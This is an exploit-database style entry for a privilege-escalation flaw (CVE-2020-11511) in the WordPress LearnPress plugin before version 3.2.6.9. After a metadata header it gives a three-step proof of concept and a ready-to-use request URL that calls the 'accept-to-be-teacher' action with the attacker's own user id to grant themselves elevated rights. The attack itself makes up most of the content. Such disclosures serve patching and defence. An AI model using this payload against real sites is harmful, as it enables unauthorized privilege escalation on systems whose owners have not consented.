WordPress Plugin LearnPress 3.2.6.8 - Privilege Escalation

# Exploit Title: WordPress Plugin LearnPress 3.2.6.8 - Privilege Escalation
# Date: 07-17-2021
# Exploit Author: nhattruong or nhattruong.blog
# Vendor Homepage: https://thimpress.com/learnpress/
# Software Link: https://wordpress.org/plugins/learnpress/
# Version: < 3.2.6.9
# References link: https://wpscan.com/vulnerability/22b2cbaa-9173-458a-bc12-85e7c96961cd
# CVE: CVE-2020-11511

POC:
1. Find out your user id
2. Login with your cred
3. Execute the payload


http://<host>/wp-admin/?action=accept-to-be-teacher&user_id=<your_id>

# Done!